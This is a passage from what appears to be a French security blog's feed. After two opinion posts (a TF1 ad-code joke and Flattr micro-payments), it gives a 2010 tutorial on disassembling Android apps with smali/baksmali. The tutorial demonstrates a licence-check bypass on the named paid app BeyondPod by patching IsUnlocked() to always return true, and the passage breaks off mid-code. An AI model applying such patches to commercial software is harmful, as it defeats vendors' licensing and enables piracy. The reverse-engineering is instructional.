&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="n"&gt;super&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;playerState&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;wishPlayerState&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PlayerState&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;WISH_PLAYER_STATE_PLAY&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Traduisez par: &amp;quot;Si un couillon clique sur la pub, alors on le redirige sur le site concernant la pub&amp;quot; (targetCouillon). On voit clairement que pour les développeurs, la pub est un simple piège à couillons.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Le mot de la fin&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;J'espère que cette bourde ne traduit pas une considération en place chez TF1, qui consiste à considérer les internautes comme des &amp;quot;couillons&amp;quot;, parce que sinon ils sont bien mal partis. De plus, je pense sincèrement que les annonceurs de TF1 et de WAT apprécieront leur humour (ou pas).&lt;/p&gt;
&lt;p&gt;&amp;lt;article43|flattr&amp;gt;&lt;/p&gt;
</content><category term="Humeur"/></entry><entry><title>Flattr &amp; Numerama.fr</title><link href="https://virtualabs.fr/humeur/Flattr-Numerama-fr" rel="alternate"/><published>2010-11-30T22:48:11+01:00</published><updated>2010-11-30T22:48:11+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2010-11-30:/humeur/Flattr-Numerama-fr</id><summary type="html">&lt;p&gt;Numerama.fr, le site d'actualités publié par PressTIC, s'est associé avec Flattr afin de fournir à ses lecteurs la possibilité de rétribuer Numerama mais aussi les membres participant à la vie du site. &lt;a class="reference external" href="http://www.flattr.com"&gt;Flattr&lt;/a&gt; est un service de micro-paiement communautaire innovant, lancé par l'ancien porte-parole de The Pirate Bay, Peter …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Numerama.fr, le site d'actualités publié par PressTIC, s'est associé avec Flattr afin de fournir à ses lecteurs la possibilité de rétribuer Numerama mais aussi les membres participant à la vie du site. &lt;a class="reference external" href="http://www.flattr.com"&gt;Flattr&lt;/a&gt; est un service de micro-paiement communautaire innovant, lancé par l'ancien porte-parole de The Pirate Bay, Peter Sunde en avril 2010 (source Numerama).&lt;/p&gt;
&lt;p&gt;J'avais alors créé un compte pour me rendre compte de ce que c'était, sans pour autant accrocher (on ne pouvait faire des transferts qu'avec paypal). Or depuis peu, le transfert via le paiement en ligne est disponible, et j'ai donc réactivé mon compte afin d'une part de pouvoir rétribuer Numérama (que je consulte allègrement) et d'autres trucs comme le très apprécié &lt;a class="reference external" href="http://www.lagrottedubarbu.com"&gt;Babozor et sa grotte du barbu&lt;/a&gt;, ou mon ami &lt;a class="reference external" href="http://www.korben.info"&gt;Korben&lt;/a&gt;. Le principe du micro-paiement mis en oeuvre par Flattr est super simple: vous créditez votre compte Flattr d'un montant fixe (vos &amp;quot;Means&amp;quot;), et vous décidez d'un montant à verser par mois aux &amp;quot;trucs&amp;quot; que vous aimez, et qui sont référencés sur Flattr. Rien de plus simple pour les rétribuer, il suffit de cliquer sur le bouton Flattr apposé sur le site de Korben par exemple ou sur celui de la grotte du barbu, et Flattr se charge de calculer la part reversée à chacun des trucs que vous avez apprécié (et &amp;quot;Flattré&amp;quot;).&lt;/p&gt;
&lt;p&gt;J'en ai donc profité pour ajouter un bouton Flattr à ce site, afin de voir si ca peut au moins rembourser l'hébergement à l'année (en supposant que vous trouviez ce site un tant soit peu utile). Pour les amateurs de iJaw (l'extension Firefox pour downloader les zics de jiwa -- PoC) ou ceux qui aiment DShark (mon projet de sniffer sur Nintendo DS), vous pouvez supporter le développement en &amp;quot;Flattrant&amp;quot; ;). Rien d'obligatoire, surtout en cette période de crise économique.&lt;/p&gt;
&lt;p&gt;Cette initiative est tout de même à saluer, car elle est désormais abordable (bien que le site de flattr soit toujours en anglais), et peut vous permettre de vous faire rétribuer et de rétribuer les initiatives ou les personnes que vous jugez méritantes. Numerara espère aussi via ce moyen récupérer un brin de financement, et favoriser les articles reflétant une recherche autant dans le fond que dans la forme plutôt que de la reprise de dépêche pure et simple.&lt;/p&gt;
&lt;p&gt;&amp;lt;article42|flattr&amp;gt;&lt;/p&gt;
</content><category term="Humeur"/></entry><entry><title>Reversing d'applications Android</title><link href="https://virtualabs.fr/secu/Reversing-d-applications-Android" rel="alternate"/><published>2010-09-29T00:37:02+02:00</published><updated>2010-09-29T00:37:02+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2010-09-29:/secu/Reversing-d-applications-Android</id><summary type="html">&lt;p&gt;&lt;strong&gt;Je suis tombé il y a quelques mois sur un supayre tool de RE dédié à Android. Ayant moi-même développé une ou deux applis pour ce système d'exploitation, je me suis intéressé aux possibilités offertes par cet outil grandiose qu'est Smali. Et je dois avouer que c'est bluffant, à la …&lt;/strong&gt;&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;Je suis tombé il y a quelques mois sur un supayre tool de RE dédié à Android. Ayant moi-même développé une ou deux applis pour ce système d'exploitation, je me suis intéressé aux possibilités offertes par cet outil grandiose qu'est Smali. Et je dois avouer que c'est bluffant, à la limite du désassemblage/réassemblage que permet IDA.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;La plate-forme Android est de plus en plus en vogue, certainement grâce à son ouverture et aux nombreux systèmes l'utilisant, mais il faut avouer que l'Android Market offre quand même plein d'applications, dont les plus intéressantes sont en version payante. Ceci dit, les personnes ayant migré sur Android l'ont choisi en partie pour le côté ouvert, qui en l'occurence est souvent synonyme de gratuit, et la conversion des utilisateurs gratuit en clients du market est donc difficile à réaliser. C'est pourquoi des versions &amp;quot;Lite&amp;quot; ou &amp;quot;Trial&amp;quot; sont disponibles sur l'Android Market, avec bien sûr des fonctionnalités limitées mais complètement implémentées. Et là se trouve un excellent terrain de jeu pour les apprentis reversers: nous avons à disposition un bon nombre de programmes téléchargeables directement du Market, et nous sommes en mesure de les customiser, voire même de modifier le code du programme, et ce beaucoup plus facilement que sur des plateformes x86.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Android et Dalvik&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Le système d'exploitation Android est basé sur Dalvik, qui est a priori une version custom de VM basée sur Java, et développée spécialement pour Android.&lt;/p&gt;
&lt;p&gt;“Every Android application runs in its own process, with its own instance of the Dalvik virtual machine. Dalvik has been written so that a device can run multiple VMs efficiently. The Dalvik VM executes files in the Dalvik Executable (.dex) format which is optimized for minimal memory footprint. The VM is register-based, and runs classes compiled by a Java language compiler that have been transformed into the .dex format by the included &amp;quot;dx&amp;quot; tool.&lt;/p&gt;
&lt;p&gt;The Dalvik VM relies on the Linux kernel for underlying functionality such as threading and low-level memory management.”&lt;/p&gt;
&lt;p&gt;Chaque application tourne dans une VM Dalvik, et a accès aux composants systèmes. Dalvik n'est pas Java, et on ne reverse pas du bytecode Dalvik de la même façon.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Smali &amp;amp; Baksmali&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Jesus Freke a pour ce faire développé deux outils (en Java), nommés &lt;em&gt;baksmali&lt;/em&gt; et &lt;em&gt;smali&lt;/em&gt; [JFSMALI]. Le premier est un désassembleur dédié à Dalvik, tandis que le second n'est rien de moins ... qu'un assembleur ! Grosso modo, nous avons les clefs en main pour désassembler des APK (format de paquetage pour Android, en réalité de simples JARs signés renommés), les triturer de toute part, et les réassembler, afin de reconstruire des APKs patchés, customisés, adaptés à nos besoins.&lt;/p&gt;
&lt;p&gt;Le problème principal de ces outils, c'est la syntaxe du code produit/utilisé: des instructions spécifiques, orientées objet (un peu du style de celles utilisées pour du .Net), bien différentes de l'assembleur que nous connaissons, notre bon vieux Intel x86. Alors oui, il faut faire quelques efforts pour lire ce type de code, mais sur le principe (analyse, identification de protections) ça ne change pas grand chose, les structures de contrôle étant quasi les mêmes.
Un exemple de code produit par Smali:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
.method public DialogID()I
    .registers 2

    .prologue
    .line 126
    const/4 v0, 0x0

    return v0
.end method
&lt;/pre&gt;
&lt;p&gt;Bon, on a quand même [DALOPCODE] sur le net pour comprendre les opcodes, mais c'est loin de valoir les manuels Intel...&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Utilisation de Smali &amp;amp; Baksmali&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Un bon document existe en français [SMARTFR], explicitant l'utilisation de cet outil, je ne vais pas m'étendre sur le sujet. J'ai pris comme sujet d'étude le programme BeyondPod, en version Trial, histoire de jauger les possibilités de cet outil.&lt;/p&gt;
&lt;img alt="Purchase license key =)" src="/images/purchase.png" /&gt;
&lt;p&gt;L'application peut être récupérée directement via le market, et récupérée grâce au SDK d'Android [ANDSDK]. Les commandes suivantes, exécutées dans le dossier &lt;em&gt;tools&lt;/em&gt; du SDK, permettent de récupérer l'APK installé sur le mobile, et de le décompresser dans un dossier dédié.&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ ./adb pull /data/app/mobi.beyondpod.apk
$ mkdir ~/beyondpod &amp;amp;&amp;amp; mv mobi.beyondpod.apk ~/beyondpod/
$ cd ~
$ mkdir ~/beyondpod/apk
$ unzip mobi.beyondpod.apk -d ~/beyondpod/apk/
$ rm ~/beyondpod/apk/META-INF -rf
&lt;/pre&gt;
&lt;p&gt;La dernière ligne de commande supprime les informations de signature, afin que nous puissions reconstruire l'APK avec une clef que l'on aura générée. Mais laissons cela pour plus tard, voyons voir ce que peut produire Smali comme sortie. Pour cela, on prend soin de copier les JARs de baksmali et smali dans le dossier créé, et on lance la commande suivante:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ cd ~/beyondpod/
$ java -Xmx512m -jar baksmali-1.2.4.jar mobi.beyondpod.apk -o disass
&lt;/pre&gt;
&lt;p&gt;Smali va désassembler le paquetage, et créer des fichiers de code source ayant l'extension &lt;em&gt;.smali&lt;/em&gt;. Ces fichiers sources peuvent être modifiés, et correspondent au classes et code associés stockés dans le fichier &lt;em&gt;classes.dex&lt;/em&gt; stocké dans le package APK. Ciblons le code gérant la licence d'utilisation, cela est loin d'être facilement compréhensible, mais néanmoins nous pouvons identifier certaines routines (méthodes) par leur nom, telle IsUnlocked():&lt;/p&gt;
&lt;pre class="literal-block"&gt;
.method public static IsUnlocked()Z
    .registers 1

    .prologue
    .line 84
    invoke-static {}, Lmobi/beyondpod/rsscore/rss/LicenseManager;-&amp;gt;IsKeyInstalled()Z

    move-result v0

    if-nez v0, :cond_e

    invoke-static {}, Lmobi/beyondpod/rsscore/rss/LicenseManager;-&amp;gt;PokeKey()Z

    move-result v0

    if-nez v0, :cond_e

    const/4 v0, 0x0

    :goto_d
    return v0

    :cond_e
    const/4 v0, 0x1

    goto :goto_d
.end method
&lt;/pre&gt;
&lt;p&gt;Ce qui pourrait se traduire par un code C++ comme celui-ci:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;LicenseManager::IsUnlocked&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;LicenseManager&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;IsKeyInstalled&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;LicenseManager&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;PokeKey&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Il est alors aisé de modifier le code smali pour altérer le comportement de cette routine, en la résumant à sa plus simple expression:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
.method public static IsUnlocked()Z
    .registers 1
    .prologue

    const/4 v0, 0x1
    return v0

.end method
&lt;/pre&gt;
&lt;p&gt;De cette manière, la fonction renverra toujours vrai. Ici, plus de problème d'alignement, de NOPs, ou même d'agrandissement de section, car on travaille directement sur un code source, et aussi parce que l'on dispose d'un outil permettant de le recompiler. En analysant le code source smali de cette application, j'ai pu aisément reconstruire les méthodes de la classe LicenseManager:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="cp"&gt;#define LICENSE_TYPE_IN_TRIAL 0x00&lt;/span&gt;
&lt;span class="cp"&gt;#define LICENSE_TYPE_ANDROID_MARKET 0x1&lt;/span&gt;
&lt;span class="cp"&gt;#define LICENSE_TYPE_BETA 0x2&lt;/span&gt;
&lt;span class="cp"&gt;#define LICENSE_TYPE_PAYPAL 0x3&lt;/span&gt;
&lt;span class="cp"&gt;#define LICENSE_TYPE_OTHER 0x4&lt;/span&gt;
&lt;span class="cp"&gt;#define LICENSE_TYPE_EXPIRED 0x5&lt;/span&gt;

&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LicenseManager&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;GetLicenseKey&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;|&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LicenseManager&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ProVersionLicence&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LicenseManager&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;_CheckKeyUri&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LicenseManager$License&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;GetLicenseKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;|&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BeyondPodApplication&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;getInstance&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;v0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;getContentResolver&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v0&lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v0&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;getType&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                                    &lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;|&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                                    &lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                                    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Exception&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;move&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;exception&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* Dur à traduire en C++ =) */&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;LicenseManager&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Failed to get License Key&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;CoreHelper&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;WriteTraceEntry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v6&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LicenseManager&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;IsKeyInstalled&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BeyondPodApplication&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;GetInstance&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BeyondPodApplication&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;getPackageManager&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PackageManager&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;checkSignatures&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;mobi.beyondpod&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;mobi.beyondpod.unlockkey&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
